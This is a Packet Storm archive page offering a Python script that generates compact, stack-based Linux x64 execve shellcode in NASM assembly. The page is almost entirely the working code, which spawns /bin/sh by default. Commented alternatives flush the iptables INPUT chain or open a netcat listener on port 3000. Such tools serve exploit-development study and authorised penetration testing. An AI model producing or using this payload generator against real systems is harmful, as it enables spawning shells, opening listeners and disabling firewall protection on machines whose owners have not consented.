what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x64 Assembly Shellcode Generator

Linux/x64 Assembly Shellcode Generator
Posted Apr 11, 2018
Authored by Andre Lima

This script is a Linux/x64 assembly shellcode generator.

tags | tool, shellcode
systems | linux
SHA-256 | ac2e35df266d3226689af810d68afa1e0e2623b208b2fee01567f8756bb06b23

Linux/x64 Assembly Shellcode Generator

Change Mirror Download
#!/usr/bin/env python
#
# Features:
# - Linux shellcode x64 assembly code generation
# - stack based (smaller payload size)
# - execve based
# - supports long commands (meaning bigger than an x64 register - 64 bits)
# - supports long parameters (meaning bigger than an x64 register - 64 bits)
# - one command only (execve will alter the current memory proc and when it exits there's no continuation)
# - supports command with up to 8 parameters
#
# Instructions
# - requires full path to the command
# - only one command is supported due to execve transforming the current process into a new one, loosing all previous context (any other instructions that would have been executed)
# - after having the x64 generated assembly code:
# - copy paste it into a file (in a Linux environment) - example.nasm
# - execute:
# nasm -felf64 example.nasm -o example.o && ld example.o -o example
#
# Author: Andre Lima @0x4ndr3
# https://pentesterslife.blog
#
########

command = "/bin/sh"
#command = "/sbin/iptables -F INPUT"
#command = "/bin/nc -lvp 3000"
#command = "/bin/echo 1 2 3 4 5 6 7 longparamparamparam"

def tohex(val, nbits):
return hex((val + (1 << nbits)) % (1 << nbits))

code = ""
code += "global _start\n"
code += "section .text\n"
code += "\n"
code += "_start:\n"
code += "push 59\n"
code += "pop rax\n"
code += "cdq\n"
code += "push rdx\n"

params = command.split(' ')
try:
params.remove('') # in case of multiple spaces in between params in the command - cleanup
except: # it throws an exception if it doesn't finds one
pass

if len(params[0]) % 8 != 0:
command = "/"*(8-len(params[0])%8) + params[0]

iters = len(command)/8 - 1
while iters >= 0:
block = command[iters*8:iters*8+8]
code += "mov rbx, 0x" + block[::-1].encode("hex") + "\n"
code += "push rbx\n"
iters -= 1

code += "push rsp\n"
code += "pop rdi\n"

aux_regs = ["r8","r9","r10","r11","r12","r13","r14","r15"]
i = 0
params = params[1:] # remove first element - command itself. we just want the params
if len(params) > len(aux_regs):
print "More than " + str(len(aux_regs)) + " parameters... Unsupported."
exit(1)
for p in params:
code += "push rdx\n"
if len(p) % 8 != 0:
p += "\x00"*(8-len(p)%8)
iters = len(p)/8 -1
while iters >= 0: # each param
block = p[iters*8:iters*8+8]
code += "mov rbx, 0x" + tohex(~int(block[::-1].encode("hex"),16),64)[2:2+16] + "\n"
code += "not rbx\n"
code += "push rbx\n"
iters -= 1
code += "push rsp\n"
code += "pop " + aux_regs[i] + "\n"
i += 1

code += "push rdx\n"
code += "push rsp\n"
code += "pop rdx\n"

while i>0:
i -= 1
code += "push " + aux_regs[i] + "\n"

code += "push rdi\n"
code += "push rsp\n"
code += "pop rsi\n"
code += "syscall\n"

print code


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close